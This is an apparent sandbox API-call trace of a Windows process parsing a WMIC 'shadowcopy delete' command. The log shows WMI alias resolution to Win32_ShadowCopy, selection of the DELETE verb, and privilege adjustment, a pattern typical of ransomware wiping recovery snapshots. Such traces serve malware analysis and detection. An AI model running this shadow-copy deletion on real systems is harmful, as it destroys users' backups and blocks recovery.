[0118.225] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3 [0118.225] lstrlenW (lpString="shadowcopy") returned 10 [0118.225] malloc (_Size=0x16) returned 0x47c870 [0118.225] lstrlenW (lpString="shadowcopy") returned 10 [0118.227] GetCurrentThreadId () returned 0xb88 [0118.227] ??0CHString@@QEAA@XZ () returned 0x18f2c0 [0118.227] malloc (_Size=0x18) returned 0x47c890 [0118.227] malloc (_Size=0x18) returned 0x47c8b0 [0118.227] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1f21390, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xff6c2998 | out: ppNamespace=0xff6c2998*=0x1f33a98) returned 0x0 [0119.025] free (_Block=0x47c8b0) [0119.025] free (_Block=0x47c890) [0119.025] CoSetProxyBlanket (pProxy=0x1f33a98, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0119.026] ??1CHString@@QEAA@XZ () returned 0x7fef4af482c [0119.026] GetCurrentThreadId () returned 0xb88 [0119.026] ??0CHString@@QEAA@XZ () returned 0x18f158 [0119.026] malloc (_Size=0x18) returned 0x47c890 [0119.026] malloc (_Size=0x18) returned 0x47c8b0 [0119.026] malloc (_Size=0x18) returned 0x47c8d0 [0119.027] malloc (_Size=0x18) returned 0x47c8f0 [0119.027] SysStringLen (param_1="root\\cli") returned 0x8 [0119.027] SysStringLen (param_1="\\") returned 0x1 [0119.027] malloc (_Size=0x18) returned 0x47c910 [0119.027] SysStringLen (param_1="root\\cli\\") returned 0x9 [0119.027] SysStringLen (param_1="ms_409") returned 0x6 [0119.027] free (_Block=0x47c8f0) [0119.027] free (_Block=0x47c8d0) [0119.027] free (_Block=0x47c8b0) [0119.027] free (_Block=0x47c890) [0119.028] malloc (_Size=0x18) returned 0x47c890 [0119.028] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1f21390, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xff6c29a0 | out: ppNamespace=0xff6c29a0*=0x1f33b28) returned 0x0 [0119.042] free (_Block=0x47c890) [0119.042] free (_Block=0x47c910) [0119.043] ??1CHString@@QEAA@XZ () returned 0x7fef4af482c [0119.043] GetCurrentThreadId () returned 0xb88 [0119.043] ??0CHString@@QEAA@XZ () returned 0x18f2d0 [0119.043] malloc (_Size=0x18) returned 0x47c910 [0119.043] malloc (_Size=0x18) returned 0x47c890 [0119.043] malloc (_Size=0x18) returned 0x47c8b0 [0119.043] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0119.043] malloc (_Size=0x3a) returned 0x47ca40 [0119.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff651980, cbMultiByte=-1, lpWideCharStr=0x47ca40, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0119.043] free (_Block=0x47ca40) [0119.043] malloc (_Size=0x18) returned 0x47c8d0 [0119.043] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0119.043] SysStringLen (param_1="shadowcopy") returned 0xa [0119.043] malloc (_Size=0x18) returned 0x47c8f0 [0119.043] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='shadowcopy") returned 0x26 [0119.043] SysStringLen (param_1="'") returned 0x1 [0119.044] free (_Block=0x47c8d0) [0119.044] free (_Block=0x47c8b0) [0119.044] free (_Block=0x47c890) [0119.044] free (_Block=0x47c910) [0119.044] IWbemServices:GetObject (in: This=0x1f33a98, strObjectPath="MSFT_CliAlias.FriendlyName='shadowcopy'", lFlags=0, pCtx=0x0, ppObject=0x18f2d8*=0x0, ppCallResult=0x0 | out: ppObject=0x18f2d8*=0x1f404e0, ppCallResult=0x0) returned 0x0 [0119.063] malloc (_Size=0x18) returned 0x47c910 [0119.063] IWbemClassObject:Get (in: This=0x1f404e0, wszName="Target", lFlags=0, pVal=0x18f200*(varType=0x0, wReserved1=0xff6c, wReserved2=0x0, wReserved3=0x0, varVal1=0xff6c2998, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x18f200*(varType=0x8, wReserved1=0xff6c, wReserved2=0x0, wReserved3=0x0, varVal1="Select * from Win32_ShadowCopy", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0119.063] free (_Block=0x47c910) [0119.063] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0119.063] malloc (_Size=0x3e) returned 0x47ca40 [0119.063] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0119.063] malloc (_Size=0x18) returned 0x47c910 [0119.063] IWbemClassObject:Get (in: This=0x1f404e0, wszName="PWhere", lFlags=0, pVal=0x18f200*(varType=0x0, wReserved1=0xff6c, wReserved2=0x0, wReserved3=0x0, varVal1=0x25e0e8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x18f200*(varType=0x8, wReserved1=0xff6c, wReserved2=0x0, wReserved3=0x0, varVal1=" Where ID = '#'", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0119.063] free (_Block=0x47c910) [0119.063] lstrlenW (lpString=" Where ID = '#'") returned 15 [0119.064] malloc (_Size=0x20) returned 0x47ca90 [0119.064] lstrlenW (lpString=" Where ID = '#'") returned 15 [0119.064] malloc (_Size=0x18) returned 0x47c910 [0119.064] IWbemClassObject:Get (in: This=0x1f404e0, wszName="Connection", lFlags=0, pVal=0x18f200*(varType=0x0, wReserved1=0xff6c, wReserved2=0x0, wReserved3=0x0, varVal1=0x2abc28, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x18f200*(varType=0xd, wReserved1=0xff6c, wReserved2=0x0, wReserved3=0x0, varVal1=0x1f409c0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0119.064] free (_Block=0x47c910) [0119.064] IUnknown:QueryInterface (in: This=0x1f409c0, riid=0xff657360*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x18f1f0 | out: ppvObject=0x18f1f0*=0x1f409c0) returned 0x0 [0119.064] GetCurrentThreadId () returned 0xb88 [0119.064] ??0CHString@@QEAA@XZ () returned 0x18f118 [0119.064] malloc (_Size=0x18) returned 0x47c910 [0119.064] IWbemClassObject:Get (in: This=0x1f409c0, wszName="Namespace", lFlags=0, pVal=0x18f140*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xff66738f, varVal2=0x47c910), pType=0x0, plFlavor=0x0 | out: pVal=0x18f140*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x47c910), pType=0x0, plFlavor=0x0) returned 0x0 [0119.064] free (_Block=0x47c910) [0119.064] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0119.064] malloc (_Size=0x16) returned 0x47c910 [0119.064] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0119.064] malloc (_Size=0x18) returned 0x47c890 [0119.065] IWbemClassObject:Get (in: This=0x1f409c0, wszName="Locale", lFlags=0, pVal=0x18f140*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2e36b8, varVal2=0x47c910), pType=0x0, plFlavor=0x0 | out: pVal=0x18f140*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ms_409", varVal2=0x47c910), pType=0x0, plFlavor=0x0) returned 0x0 [0119.065] free (_Block=0x47c890) [0119.065] lstrlenW (lpString="ms_409") returned 6 [0119.065] malloc (_Size=0xe) returned 0x47c890 [0119.065] lstrlenW (lpString="ms_409") returned 6 [0119.065] malloc (_Size=0x18) returned 0x47c8b0 [0119.065] IWbemClassObject:Get (in: This=0x1f409c0, wszName="User", lFlags=0, pVal=0x18f140*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2e36b8, varVal2=0x47c910), pType=0x0, plFlavor=0x0 | out: pVal=0x18f140*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2e36b8, varVal2=0x47c910), pType=0x0, plFlavor=0x0) returned 0x0 [0119.065] free (_Block=0x47c8b0) [0119.065] malloc (_Size=0x18) returned 0x47c8b0 [0119.065] IWbemClassObject:Get (in: This=0x1f409c0, wszName="Password", lFlags=0, pVal=0x18f140*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2e36b8, varVal2=0x47c910), pType=0x0, plFlavor=0x0 | out: pVal=0x18f140*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2e36b8, varVal2=0x47c910), pType=0x0, plFlavor=0x0) returned 0x0 [0119.065] free (_Block=0x47c8b0) [0119.065] malloc (_Size=0x18) returned 0x47c8b0 [0119.065] IWbemClassObject:Get (in: This=0x1f409c0, wszName="Server", lFlags=0, pVal=0x18f140*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2e36b8, varVal2=0x47c910), pType=0x0, plFlavor=0x0 | out: pVal=0x18f140*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=".", varVal2=0x47c910), pType=0x0, plFlavor=0x0) returned 0x0 [0119.065] free (_Block=0x47c8b0) [0119.066] lstrlenW (lpString=".") returned 1 [0119.066] malloc (_Size=0x4) returned 0x476e10 [0119.066] lstrlenW (lpString=".") returned 1 [0119.066] malloc (_Size=0x18) returned 0x47c8b0 [0119.066] IWbemClassObject:Get (in: This=0x1f409c0, wszName="Authority", lFlags=0, pVal=0x18f140*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2e36b8, varVal2=0x47c910), pType=0x0, plFlavor=0x0 | out: pVal=0x18f140*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2e36b8, varVal2=0x47c910), pType=0x0, plFlavor=0x0) returned 0x0 [0119.066] free (_Block=0x47c8b0) [0119.066] ??1CHString@@QEAA@XZ () returned 0x7fef4af482c [0119.066] IUnknown:Release (This=0x1f409c0) returned 0x1 [0119.066] GetCurrentThreadId () returned 0xb88 [0119.066] ??0CHString@@QEAA@XZ () returned 0x18f118 [0119.066] malloc (_Size=0x18) returned 0x47c8b0 [0119.066] IWbemClassObject:Get (in: This=0x1f404e0, wszName="__RELPATH", lFlags=0, pVal=0x18f140*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2e36b8, varVal2=0xd), pType=0x0, plFlavor=0x0 | out: pVal=0x18f140*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0xd), pType=0x0, plFlavor=0x0) returned 0x0 [0119.066] free (_Block=0x47c8b0) [0119.066] malloc (_Size=0x18) returned 0x47c8b0 [0119.067] GetCurrentThreadId () returned 0xb88 [0119.067] ??0CHString@@QEAA@XZ () returned 0x18ef98 [0119.067] ??0CHString@@QEAA@PEBG@Z () returned 0x18efb0 [0119.067] ??0CHString@@QEAA@AEBV0@@Z () returned 0x18ef40 [0119.067] ?Empty@CHString@@QEAAXXZ () returned 0x7fef4af482c [0119.067] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x47cac0 [0119.067] ?Find@CHString@@QEBAHPEBG@Z () returned 0x1b [0119.067] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x18ef00 [0119.069] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x18ef48 [0119.069] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x18efb0 [0119.069] ??1CHString@@QEAA@XZ () returned 0x13100b01 [0119.069] ??1CHString@@QEAA@XZ () returned 0x13100b01 [0119.069] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x18ef08 [0119.069] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x18ef40 [0119.070] ??1CHString@@QEAA@XZ () returned 0x1 [0119.070] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x47cb30 [0119.070] ?Find@CHString@@QEBAHPEBG@Z () returned 0xa [0119.070] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x18ef00 [0119.070] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x18ef48 [0119.070] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x18efb0 [0119.070] ??1CHString@@QEAA@XZ () returned 0x13100b01 [0119.070] ??1CHString@@QEAA@XZ () returned 0x13100b01 [0119.070] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x18ef08 [0119.070] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x18ef40 [0119.070] ??1CHString@@QEAA@XZ () returned 0x7fef4af482c [0119.070] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x7fef4af4820 [0119.070] ??1CHString@@QEAA@XZ () returned 0x7fef4af482c [0119.070] malloc (_Size=0x18) returned 0x47c8d0 [0119.070] malloc (_Size=0x18) returned 0x47c930 [0119.070] malloc (_Size=0x18) returned 0x47c950 [0119.070] malloc (_Size=0x18) returned 0x47c970 [0119.070] malloc (_Size=0x18) returned 0x47c990 [0119.070] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0119.070] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0119.070] malloc (_Size=0x18) returned 0x47c9b0 [0119.071] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0119.071] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29 [0119.071] malloc (_Size=0x18) returned 0x47c9d0 [0119.071] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c [0119.071] SysStringLen (param_1="\"") returned 0x1 [0119.071] free (_Block=0x47c9b0) [0119.071] free (_Block=0x47c990) [0119.071] free (_Block=0x47c970) [0119.071] free (_Block=0x47c950) [0119.071] free (_Block=0x47c930) [0119.071] free (_Block=0x47c8d0) [0119.071] IWbemServices:GetObject (in: This=0x1f33b28, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x18ef88*=0x0, ppCallResult=0x0 | out: ppObject=0x18ef88*=0x1f40a50, ppCallResult=0x0) returned 0x0 [0119.075] malloc (_Size=0x18) returned 0x47c8d0 [0119.075] IWbemClassObject:Get (in: This=0x1f40a50, wszName="Text", lFlags=0, pVal=0x18efc0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xff6c2ac0, varVal2=0x18), pType=0x0, plFlavor=0x0 | out: pVal=0x18efc0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2ddb10*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x25de80, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x18), pType=0x0, plFlavor=0x0) returned 0x0 [0119.075] free (_Block=0x47c8d0) [0119.075] SafeArrayGetLBound (in: psa=0x2ddb10, nDim=0x1, plLbound=0x18efa0 | out: plLbound=0x18efa0) returned 0x0 [0119.075] SafeArrayGetUBound (in: psa=0x2ddb10, nDim=0x1, plUbound=0x18ef90 | out: plUbound=0x18ef90) returned 0x0 [0119.075] SafeArrayGetElement (in: psa=0x2ddb10, rgIndices=0x18ef84, pv=0x18efd8 | out: pv=0x18efd8) returned 0x0 [0119.075] malloc (_Size=0x18) returned 0x47c8d0 [0119.076] malloc (_Size=0x18) returned 0x47c930 [0119.076] SysStringLen (param_1="Shadow copy management.") returned 0x17 [0119.076] free (_Block=0x47c8d0) [0119.076] IUnknown:Release (This=0x1f40a50) returned 0x0 [0119.076] free (_Block=0x47c9d0) [0119.076] ??1CHString@@QEAA@XZ () returned 0x13100b01 [0119.076] ??1CHString@@QEAA@XZ () returned 0x7fef4af482c [0119.076] free (_Block=0x47c8b0) [0119.076] ??1CHString@@QEAA@XZ () returned 0x7fef4af482c [0119.076] lstrlenW (lpString="Shadow copy management.") returned 23 [0119.076] malloc (_Size=0x30) returned 0x478600 [0119.076] lstrlenW (lpString="Shadow copy management.") returned 23 [0119.076] free (_Block=0x47c930) [0119.076] IUnknown:Release (This=0x1f404e0) returned 0x0 [0119.076] free (_Block=0x47c8f0) [0119.076] ??1CHString@@QEAA@XZ () returned 0x7fef4af482c [0119.076] lstrlenW (lpString="PATH") returned 4 [0119.077] lstrlenW (lpString="delete") returned 6 [0119.077] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1 [0119.077] lstrlenW (lpString="WHERE") returned 5 [0119.077] lstrlenW (lpString="delete") returned 6 [0119.077] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1 [0119.077] lstrlenW (lpString="(") returned 1 [0119.077] lstrlenW (lpString="delete") returned 6 [0119.077] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="(", cchCount2=1) returned 3 [0119.077] lstrlenW (lpString="/") returned 1 [0119.077] lstrlenW (lpString="delete") returned 6 [0119.077] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0119.077] lstrlenW (lpString="-") returned 1 [0119.077] lstrlenW (lpString="delete") returned 6 [0119.077] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0119.077] malloc (_Size=0x18) returned 0x47c8f0 [0119.077] lstrlenW (lpString="GET") returned 3 [0119.077] lstrlenW (lpString="delete") returned 6 [0119.077] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0119.077] lstrlenW (lpString="LIST") returned 4 [0119.077] lstrlenW (lpString="delete") returned 6 [0119.077] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0119.078] lstrlenW (lpString="SET") returned 3 [0119.078] lstrlenW (lpString="delete") returned 6 [0119.078] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0119.078] lstrlenW (lpString="CREATE") returned 6 [0119.078] lstrlenW (lpString="delete") returned 6 [0119.078] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0119.078] lstrlenW (lpString="CALL") returned 4 [0119.078] lstrlenW (lpString="delete") returned 6 [0119.078] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0119.078] lstrlenW (lpString="ASSOC") returned 5 [0119.078] lstrlenW (lpString="delete") returned 6 [0119.078] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0119.078] lstrlenW (lpString="DELETE") returned 6 [0119.078] lstrlenW (lpString="delete") returned 6 [0119.078] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0119.078] free (_Block=0x47c8f0) [0119.078] lstrlenW (lpString="/") returned 1 [0119.078] lstrlenW (lpString="delete") returned 6 [0119.078] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0119.078] lstrlenW (lpString="-") returned 1 [0119.078] lstrlenW (lpString="delete") returned 6 [0119.078] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0119.078] lstrlenW (lpString="delete") returned 6 [0119.078] malloc (_Size=0xe) returned 0x47c8f0 [0119.079] lstrlenW (lpString="delete") returned 6 [0119.079] lstrlenW (lpString="GET") returned 3 [0119.079] lstrlenW (lpString="delete") returned 6 [0119.079] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0119.079] lstrlenW (lpString="LIST") returned 4 [0119.079] lstrlenW (lpString="delete") returned 6 [0119.079] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0119.079] lstrlenW (lpString="SET") returned 3 [0119.079] lstrlenW (lpString="delete") returned 6 [0119.079] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0119.079] lstrlenW (lpString="CREATE") returned 6 [0119.079] lstrlenW (lpString="delete") returned 6 [0119.079] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0119.079] lstrlenW (lpString="CALL") returned 4 [0119.079] lstrlenW (lpString="delete") returned 6 [0119.079] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0119.079] lstrlenW (lpString="ASSOC") returned 5 [0119.079] lstrlenW (lpString="delete") returned 6 [0119.079] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0119.079] lstrlenW (lpString="DELETE") returned 6 [0119.079] lstrlenW (lpString="delete") returned 6 [0119.079] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0119.079] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0119.080] malloc (_Size=0x3e) returned 0x47cac0 [0119.080] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0119.080] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff80 | out: _String="Select", _Context=0xffffffffffffff80) returned="Select" [0119.080] malloc (_Size=0x18) returned 0x47c930 [0119.080] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="*" [0119.080] lstrlenW (lpString="FROM") returned 4 [0119.080] lstrlenW (lpString="*") returned 1 [0119.080] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0119.080] malloc (_Size=0x18) returned 0x47c8b0 [0119.080] free (_Block=0x47c930) [0119.080] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x53007f00780008 | out: _String=0x0, _Context=0x53007f00780008) returned="from" [0119.080] lstrlenW (lpString="FROM") returned 4 [0119.080] lstrlenW (lpString="from") returned 4 [0119.080] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0119.080] malloc (_Size=0x18) returned 0x47c930 [0119.080] free (_Block=0x47c8b0) [0119.080] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x53008000780008 | out: _String=0x0, _Context=0x53008000780008) returned="Win32_ShadowCopy" [0119.080] malloc (_Size=0x18) returned 0x47c8b0 [0119.080] free (_Block=0x47c930) [0119.081] free (_Block=0x47cac0) [0119.081] free (_Block=0x47c8b0) [0119.081] lstrlenW (lpString="SET") returned 3 [0119.081] lstrlenW (lpString="delete") returned 6 [0119.081] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0119.081] lstrlenW (lpString="CREATE") returned 6 [0119.081] lstrlenW (lpString="delete") returned 6 [0119.081] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0119.081] free (_Block=0x47c7f0) [0119.081] malloc (_Size=0x8) returned 0x47cac0 [0119.081] lstrlenW (lpString="GET") returned 3 [0119.081] lstrlenW (lpString="delete") returned 6 [0119.081] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0119.081] lstrlenW (lpString="LIST") returned 4 [0119.081] lstrlenW (lpString="delete") returned 6 [0119.081] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0119.081] lstrlenW (lpString="ASSOC") returned 5 [0119.081] lstrlenW (lpString="delete") returned 6 [0119.081] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0119.081] WbemLocator:IUnknown:AddRef (This=0x1f21390) returned 0x3 [0119.081] free (_Block=0x33dfb0) [0119.081] lstrlenW (lpString="") returned 0 [0119.081] lstrlenW (lpString="XDUWTFONO") returned 9 [0119.081] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0119.082] lstrlenW (lpString="XDUWTFONO") returned 9 [0119.082] malloc (_Size=0x14) returned 0x47c7f0 [0119.082] lstrlenW (lpString="XDUWTFONO") returned 9 [0119.082] GetCurrentThreadId () returned 0xb88 [0119.082] GetCurrentProcess () returned 0xffffffffffffffff [0119.082] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x18f360 | out: TokenHandle=0x18f360*=0x288) returned 1 [0119.082] GetTokenInformation (in: TokenHandle=0x288, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18f358 | out: TokenInformation=0x0, ReturnLength=0x18f358) returned 0 [0119.082] malloc (_Size=0x118) returned 0x47cae0 [0119.082] GetTokenInformation (in: TokenHandle=0x288, TokenInformationClass=0x3, TokenInformation=0x47cae0, TokenInformationLength=0x118, ReturnLength=0x18f358 | out: TokenInformation=0x47cae0, ReturnLength=0x18f358) returned 1 [0119.082] AdjustTokenPrivileges (in: TokenHandle=0x288, DisableAllPrivileges=0, NewState=0x47cae0*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=756025428, Attributes=0x13b5), (Luid.LowPart=0x0, Luid.HighPart=3399600, Attributes=0x0), (Luid.LowPart=0x22, Luid.HighPart=939524923, Attributes=0x13a2), (Luid.LowPart=0x0, Luid.HighPart=4653400, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0119.082] free (_Block=0x47cae0) [0119.082] CloseHandle (hObject=0x288) returned 1 [0119.082] lstrlenW (lpString="GET") returned 3 [0119.082] lstrlenW (lpString="delete") returned 6 [0119.082] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0119.082] lstrlenW (lpString="LIST") returned 4 [0119.082] lstrlenW (lpString="delete") returned 6 [0119.082] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0119.082] lstrlenW (lpString="SET") returned 3 [0119.082] lstrlenW (lpString="delete") returned 6 [0119.083] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 